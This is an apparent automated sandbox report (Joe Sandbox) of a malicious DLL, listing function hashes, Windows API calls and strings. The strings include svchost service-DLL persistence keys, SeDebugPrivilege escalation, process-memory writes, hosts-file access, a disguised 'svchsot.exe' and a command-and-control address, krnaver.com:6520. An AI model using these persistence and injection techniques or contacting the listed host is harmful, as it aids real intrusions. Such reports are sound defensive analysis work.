Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f95b7281330f53e51b83d251505e5d4c8391a9795d6745fedcf749dcc6cff959
Instruction ID: c45cdfdface6c957793686aabee11fb230d64d89d0d3144f3a3b95f933cec418
Opcode Fuzzy Hash: f95b7281330f53e51b83d251505e5d4c8391a9795d6745fedcf749dcc6cff959
Instruction Fuzzy Hash: B8B092B4800A20CBEA02CB608C8844B3A64A74C2423108501FA11CB224E730C000AB10

Function 10004D30 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,00000000), ref: 10004D3A

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 37f069475272b6cca200ed683fa83c91152633e7a2abff0d98add4d01afb3790
Instruction ID: 9b545ad83a0b37dc24d19450c7bac0fd9b0d2ef5a906a719aa768e5fc7140905
Opcode Fuzzy Hash: 37f069475272b6cca200ed683fa83c91152633e7a2abff0d98add4d01afb3790
Instruction Fuzzy Hash: 59B09275104200ABD204DB10C984C2BB7A8BB94311B008808F48682110C634D840CB21

Function 10001590 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0071D0F0), ref: 100015A6

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 99775dfbb87880e4bad2e2462871a4c66be7bc6980aea6623de9670b3cc732ef
Instruction ID: 7ffba9bd066339d4787a27611a31b7a89ef434844dc809d3f9b6a79886a0edc6
Opcode Fuzzy Hash: 99775dfbb87880e4bad2e2462871a4c66be7bc6980aea6623de9670b3cc732ef
Instruction Fuzzy Hash: 2CB092B0810A20DFFA128B708CC84077664A78C242350C501F811C7224EB30D0049B20

Function 10001620 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0071A0D8), ref: 10001636

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e777f6afae9d3202d58511550714f9f27a48f0d8766006cec8ea985c2988ac48
Instruction ID: 1f812e712d3cab51f4f374bbdf571a9b0ab623a7a6a14e70690cdf80dfc874e2
Opcode Fuzzy Hash: e777f6afae9d3202d58511550714f9f27a48f0d8766006cec8ea985c2988ac48
Instruction Fuzzy Hash: A2B092B4800620CBE6128F608C884473764A30C241300C001F820C3234D730C118DF20

Function 100016B0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(007170C0), ref: 100016C6

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b0f384971992b4dd19b9cab97d16758f5ac948bf5790d287ab781d874b916718
Instruction ID: 09ec16cf2d9e3bdd57d5ed2dc7f66b2880ca74239215425a520b4e140e21dc19
Opcode Fuzzy Hash: b0f384971992b4dd19b9cab97d16758f5ac948bf5790d287ab781d874b916718
Instruction Fuzzy Hash: ACB092B4800524CBE602CF608CC840B3BB4B70C2423008681F910C3234E730C010DB50

Function 10001710 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(007150B0), ref: 10001726

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 225bce18757dd5cce8007112facaaac45c45095e69f13463e73d82b4da326c51
Instruction ID: dc149856e3200466590bbbbda67a89e2532640a73b18c85f34583f6dcbb6de78
Opcode Fuzzy Hash: 225bce18757dd5cce8007112facaaac45c45095e69f13463e73d82b4da326c51
Instruction Fuzzy Hash: 81B092B4800661CBE7228B60CCC84073B74A70C281310C141F814C3224D730C0049B60

Function 10004C60 Relevance: 1.5, APIs: 1, Instructions: 4registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,75570F00), ref: 10004C65

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 87b4abc63f7c11ee671ef59d13ab7966a3af1181e74c4c90e5a4f0655e4d3a45
Instruction ID: 324587ba64b1eb27d8c71780c153f5c959768cd6244882d3e4bfd9b6e5cf7741
Opcode Fuzzy Hash: 87b4abc63f7c11ee671ef59d13ab7966a3af1181e74c4c90e5a4f0655e4d3a45
Instruction Fuzzy Hash: A5A002F5A04610EBDE00DBA5DB8C80A77E8AB85712B408888F14AC2455C638D840DB11

Function 10004890 Relevance: 1.5, APIs: 1, Instructions: 4networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32(?), ref: 10004895

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: b5d8a14b03fe9db19237598d9552cf8800089184801dc95bac423a48275794e4
Instruction ID: db6d4a7ea73a3d767f21df7007ec03039420695e885c3d167e48be02809e56a4
Opcode Fuzzy Hash: b5d8a14b03fe9db19237598d9552cf8800089184801dc95bac423a48275794e4
Instruction Fuzzy Hash: 38A002B5F04210ABDE01DBB5CB8C80AB7E9AB85701B008844F149C2011CB3CF844DB51

Function 10004A10 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(?,1000BB9A,c:\yucdh\ReadMe.txt,SeDebugPrivilege,00000001), ref: 10004A15

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 4bbad5ab16995371096bde7755bc95acc338574ad108aac2567f583ec3db0265
Instruction ID: be8fa86e2b3c3084ed518b5d3cbcd735743b859ae6c17e166df457072468833b
Opcode Fuzzy Hash: 4bbad5ab16995371096bde7755bc95acc338574ad108aac2567f583ec3db0265
Instruction Fuzzy Hash: D9A002B5A04210EBDE00DBA5CB8C80A77E8AB85711B008884F149C2055C678DC40DB11

Function 10004B30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(10019D40,1000B666,10019D40), ref: 10004B35

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: aeb22b0332fafab832228ff067b8308e6df5fd7f8217359b3bcfdca3a9fa2824
Instruction ID: 904e3489c634dae361026f73cd365cfbe34bcbc277f6c4ad4452f4da7be1815b
Opcode Fuzzy Hash: aeb22b0332fafab832228ff067b8308e6df5fd7f8217359b3bcfdca3a9fa2824
Instruction Fuzzy Hash: E2A00275904210ABDE00DBA5CA8C81A77E8BFC6701B00C844F145C3110C674D854DB11

Function 0278002A Relevance: 1.3, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,?,00004000), ref: 027800BE

Memory Dump Source

Source File: 00000006.00000002.3886777699.0000000002780000.00000040.00001000.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2780000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction ID: 4058431bec92cd88353a55784a0ff2d3a3931af572e6da60f6f250f40d898468
Opcode Fuzzy Hash: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction Fuzzy Hash: CBF027226CE7116DF6217B357C59B27BB98DF43336B150DABEC40D60A2DE11D80A8AF4

Non-executed Functions

Function 100060E0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 1000615E
strncpy.MSVCRT ref: 10006175
strncpy.MSVCRT ref: 1000617F
GetSystemInfo.KERNEL32(?), ref: 10006189
GetCurrentProcess.KERNEL32(00000020,?), ref: 100061AA
OpenProcessToken.ADVAPI32(00000000), ref: 100061B1
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 100061C2
AdjustTokenPrivileges.ADVAPI32 ref: 100061F7
CloseHandle.KERNEL32(00000010), ref: 10006202
sscanf.MSVCRT ref: 1000622D

Strings

SeDebugPrivilege, xrefs: 100061BC
etc\hosts, xrefs: 10006208, 10006228
%[^, xrefs: 10006223
c:\yucdh, xrefs: 10006154

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessTokenstrncpy$AdjustCloseCurrentHandleInfoLookupOpenPrivilegePrivilegesSystemValuesscanfstrrchr
String ID: %[^$SeDebugPrivilege$c:\yucdh$etc\hosts
API String ID: 3677170833-2232899251
Opcode ID: 766fc4c91f3afb022d82f0411d261274f1b7f6a8cc47e5443cc1c5075a28d2e0
Instruction ID: cdf063d2dc35dfdd6761936bd61a376c098a1b861acc190fde3f69951cd82382
Opcode Fuzzy Hash: 766fc4c91f3afb022d82f0411d261274f1b7f6a8cc47e5443cc1c5075a28d2e0
Instruction Fuzzy Hash: 59314DB4504360AFE314DF65CDC9A5BBBE8FB8A310F40851EF655872A1D7B4D484CB22

Function 10005A10 Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 473COMMON

Download Yara Rule

APIs

wcscat.MSVCRT ref: 10005B73
InterlockedDecrement.KERNEL32(00000008), ref: 10005E38
_strcmpi.MSVCRT ref: 10005E55
InterlockedDecrement.KERNEL32(00000008), ref: 10005F59

Strings

WQL, xrefs: 10005C19, 10005C2F
svchost.exe, xrefs: 10005E4F
Name, xrefs: 10005D04
svchost.exe -k NetworkService, xrefs: 10005F73
ProcessID, xrefs: 10005D32
CommandLine, xrefs: 10005D1B
SELECT * FROM , xrefs: 10005B43

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked$_strcmpiwcscat
String ID: CommandLine$Name$ProcessID$SELECT * FROM $WQL$svchost.exe$svchost.exe -k NetworkService
API String ID: 1133782235-2685825574
Opcode ID: 81061a4a8877450d9953acb6a68e8a364d5bf9f7be26c08b031fa8b21c164d1e
Instruction ID: 6e287e9f31d80ddeef40d71180199f244c4fab3bb8e43f45771c3167a968cc53
Opcode Fuzzy Hash: 81061a4a8877450d9953acb6a68e8a364d5bf9f7be26c08b031fa8b21c164d1e
Instruction Fuzzy Hash: 7702E5715043469FE720DF64C880AAFB7E9FB88394F008A2DF5999B280DB75DD85CB52

Function 10006C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 10006C82
sprintf.MSVCRT ref: 10006DA6

Strings

Win %s SP%d, xrefs: 10006DA0
Vista, xrefs: 10006D22
2008, xrefs: 10006D4F
2000, xrefs: 10006CDA
2003, xrefs: 10006D0B

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Versionsprintf
String ID: 2000$2003$2008$Vista$Win %s SP%d
API String ID: 1728264858-2264339393
Opcode ID: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction ID: a29b5034d98c82e8cdd23dc3c09a1f19a03f2c0ff95b6a49c00505b641ceb439
Opcode Fuzzy Hash: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction Fuzzy Hash: 353106317043845BF724C524C854A9BB7D7F7C9360FA18B2EEA5AC7384DA74CD098242

Function 100052A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 10005333
wsprintfA.USER32 ref: 1000537B
FindNextFileA.KERNEL32(?,?,?,?,?,00000000,?,?,00000000), ref: 100053E8
FindClose.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 100053FB

Strings

., xrefs: 1000539C
\*.*, xrefs: 100052FB
%s\%s, xrefs: 10005375

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$.$\*.*
API String ID: 180737720-2210278135
Opcode ID: 7ae711e90393dddcf603e56f6566a1c76344e8b8096dc20234aff7e6c32f04f1
Instruction ID: 4a8f082e370a774beec3181923ed0c29b1814dc50db52cf211b5320ae6ff64cd
Opcode Fuzzy Hash: 7ae711e90393dddcf603e56f6566a1c76344e8b8096dc20234aff7e6c32f04f1
Instruction Fuzzy Hash: 843117761043445BD328CA74CC45AEBB7D9FBC8360F144F1DF6AA832C1DEB5DA088652

Function 10004B90 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,00000000,100071DE), ref: 10004BAE

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 6918ca5b7ee3fdd7fdd57af262338b3703b36aad1a9c509f7b5eed579482c4b1
Instruction ID: 7aec9a8afb9612b2565e4992fccd33789a9d9f25d87dad6da5c42f08927fd536
Opcode Fuzzy Hash: 6918ca5b7ee3fdd7fdd57af262338b3703b36aad1a9c509f7b5eed579482c4b1
Instruction Fuzzy Hash: 93D0BCB5618342AF9704CF58D994C3BB7E9BBC8600F148D0CB59583254D770E849CB62

Function 100049F0 Relevance: 1.5, APIs: 1, Instructions: 6shutdownCOMMON

Download Yara Rule

APIs

ExitWindowsEx.USER32(?,00000000), ref: 100049FA

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExitWindows
String ID:
API String ID: 1089080001-0
Opcode ID: d9c7e62c82f4d30f92caf57cdc1ee715cd7a3c5a069c5de49ecc06ad1114ff61
Instruction ID: a05cb85966f44a46be1bad41a18f52861b6e79887c5960e28fbbb47f88fe4381
Opcode Fuzzy Hash: d9c7e62c82f4d30f92caf57cdc1ee715cd7a3c5a069c5de49ecc06ad1114ff61
Instruction Fuzzy Hash: ACB012F4204300BFDE04CB50CA84C2B77E8EBCC301F00884CF48982110CA34DC40CB11

Function 10008180 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 270COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 10008270

Strings

RegSetValueEx(ServiceDll), xrefs: 1000837F
ServiceDll, xrefs: 1000835D
SYSTEM\CurrentControlSet\Services\%s\Parameters, xrefs: 1000830D
Description, xrefs: 100082EB
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost, xrefs: 100083AA
SYSTEM\CurrentControlSet\Services\%s, xrefs: 100082B7
RegOpenKeyEx(Svchost), xrefs: 100083F4
%SystemRoot%\System32\svchost.exe -k , xrefs: 100081C5
RegSetValueEx(Svchost\krnlsrvc), xrefs: 10008431

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID: %SystemRoot%\System32\svchost.exe -k $Description$RegOpenKeyEx(Svchost)$RegSetValueEx(ServiceDll)$RegSetValueEx(Svchost\krnlsrvc)$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost$SYSTEM\CurrentControlSet\Services\%s$SYSTEM\CurrentControlSet\Services\%s\Parameters$ServiceDll
API String ID: 1452528299-660433390
Opcode ID: b6460b91ff4555f9262201c81e413c6a0d3e914efe51d2911cf23552081a28e0
Instruction ID: 53f7441aff76953b2d88f4f78352e93fbc22bdf5a514338d65ce7cfd2a42bf55
Opcode Fuzzy Hash: b6460b91ff4555f9262201c81e413c6a0d3e914efe51d2911cf23552081a28e0
Instruction Fuzzy Hash: 3B91A471A00259ABEB14DBA4CC85BEE77E9FB48750F144259FA06A72C0DF749E80CB60

Function 10006380 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 211filesleepinjectionCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10006412
wsprintfA.USER32 ref: 10006484
wsprintfA.USER32 ref: 1000649D
CreateDirectoryA.KERNEL32(?,00000000), ref: 100064AC
WriteProcessMemory.KERNEL32(00000000,?,?,00000009,00000000), ref: 100064EA
time.MSVCRT(00000000), ref: 10006507
srand.MSVCRT ref: 1000650E
rand.MSVCRT ref: 10006517
rand.MSVCRT ref: 10006525
rand.MSVCRT ref: 10006533
rand.MSVCRT ref: 10006541
rand.MSVCRT ref: 1000654F
rand.MSVCRT ref: 1000655D
wsprintfA.USER32 ref: 10006575
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 1000658E
CloseHandle.KERNEL32(00000000), ref: 10006595
Sleep.KERNEL32(000003E8), ref: 100065A0
DeleteFileA.KERNEL32(?), ref: 100065AB

Strings

%s\%s, xrefs: 1000640B
c:\windows\system32\drivers\%s\%s, xrefs: 10006497
c:\windows\system32\drivers\etc\%c%c%c.%c%c%c, xrefs: 1000656F
c:\windows\system32\drivers\%s, xrefs: 1000647E

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: rand$wsprintf$CreateFile$CloseDeleteDirectoryHandleMemoryProcessSleepWritesrandtime
String ID: %s\%s$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s$c:\windows\system32\drivers\etc\%c%c%c.%c%c%c
API String ID: 3377497938-1917988604
Opcode ID: aa527d4a18a4aaa306d25193b5c72e572f2e79281c43732195b351378c99ff71
Instruction ID: 38fc729683442f2de153c52376bcce47659d60a47f0b68a34b16a9871db267a9
Opcode Fuzzy Hash: aa527d4a18a4aaa306d25193b5c72e572f2e79281c43732195b351378c99ff71
Instruction Fuzzy Hash: F761C171204345ABE728CB74CD85BDBB7E6EBCC300F048A2CF64997291DB79E6498752

Function 10006AA0 Relevance: 36.8, APIs: 7, Strings: 14, Instructions: 96stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10006ACE
GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006AE5
GetModuleFileNameA.KERNEL32(10000000,c:\yucdh\qtbbkpjim.dll,00000104), ref: 10006AF7
strrchr.MSVCRT ref: 10006B25
wsprintfA.USER32 ref: 10006B3D
wsprintfA.USER32 ref: 10006B4E
wsprintfA.USER32 ref: 10006B5F

Strings

ECF4BB45F69C, xrefs: 10006BA5
c:\yucdh\qtbbkpjim.dll, xrefs: 10006AF1, 10006AF9
c:\yucdh\version.txt, xrefs: 10006B49
M%s, xrefs: 10006B55
%s.txt, xrefs: 10006AC4
09161305, xrefs: 10006ABF
Mkrnaver.com:6520, xrefs: 10006B5A
%s\ReadMe.txt, xrefs: 10006B30
c:\windows\SysWOW64\rundll32.exe, xrefs: 10006ADE
09161305.txt, xrefs: 10006AC9
c:\yucdh\ReadMe.txt, xrefs: 10006B35
krnaver.com:6520, xrefs: 10006B50
c:\yucdh, xrefs: 10006B0B, 10006B14, 10006B2B, 10006B3F
%s\version.txt, xrefs: 10006B44

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: wsprintf$FileModuleName$strrchr
String ID: %s.txt$%s\ReadMe.txt$%s\version.txt$09161305$09161305.txt$ECF4BB45F69C$M%s$Mkrnaver.com:6520$c:\windows\SysWOW64\rundll32.exe$c:\yucdh$c:\yucdh\ReadMe.txt$c:\yucdh\qtbbkpjim.dll$c:\yucdh\version.txt$krnaver.com:6520
API String ID: 1444062329-3503427377
Opcode ID: cd56bb71b5e34af3bf83d4319db678bda11d80ad42d94f8a2d2da32989abb340
Instruction ID: 732538d88aa81fda7fc38e0d93b527bb5c3b02a2f58effd2b7974e2766805a37
Opcode Fuzzy Hash: cd56bb71b5e34af3bf83d4319db678bda11d80ad42d94f8a2d2da32989abb340
Instruction Fuzzy Hash: 0B21F675600A156FE314EB798C41FAA7AC2FB88360F544618F7269F2C1CFB4D981C654

Function 1000F6F0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

_mbsicmp.MSVCRT ref: 1000F72E
_mbsicmp.MSVCRT ref: 1000F742
_mbsicmp.MSVCRT ref: 1000F756
_mbsicmp.MSVCRT ref: 1000F76A

Strings

.zip, xrefs: 1000F73C
.gz, xrefs: 1000F7A0
.arj, xrefs: 1000F78C
.lzh, xrefs: 1000F778
.arc, xrefs: 1000F764
.zoo, xrefs: 1000F750
.tgz, xrefs: 1000F7B4

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: _mbsicmp
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1961004622-51310709
Opcode ID: 9a2839b0c050d57ee1fa6452c1e67cdcab6d0cd9156314fcd384c4b2c94964e5
Instruction ID: 7359167a5fcbd9a806bd145f27a2597d23e7ec4f774172bc2e2fd2a42e6e49a2
Opcode Fuzzy Hash: 9a2839b0c050d57ee1fa6452c1e67cdcab6d0cd9156314fcd384c4b2c94964e5
Instruction Fuzzy Hash: 2321B422A0816221BA00B52D7D406EE93C8CFE20E6B07403AFD58D9A19FB55DDC3A4E7

Function 10005030 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 10005069

Part of subcall function 10004DA0: CreateFileA.KERNEL32(?,10000000,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
Part of subcall function 10004DA0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
Part of subcall function 10004DA0: time.MSVCRT(00000000), ref: 10004E7F
Part of subcall function 10004DA0: _localtime32.MSVCRT(?), ref: 10004E8E
Part of subcall function 10004DA0: strftime.MSVCRT ref: 10004EA1
Part of subcall function 10004DA0: vsprintf.MSVCRT ref: 10004EF3
Part of subcall function 10004DA0: sprintf.MSVCRT ref: 10004F13

Strings

cmd.exe, xrefs: 10005040, 10005050
%s.%d, xrefs: 10005102
C:\Windows\6C4DA6FB\svchsot.vir, xrefs: 100050BF
C:\Windows\6C4DA6FB\svchsot.exe, xrefs: 100050B0, 100050C4
self, xrefs: 1000507A

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

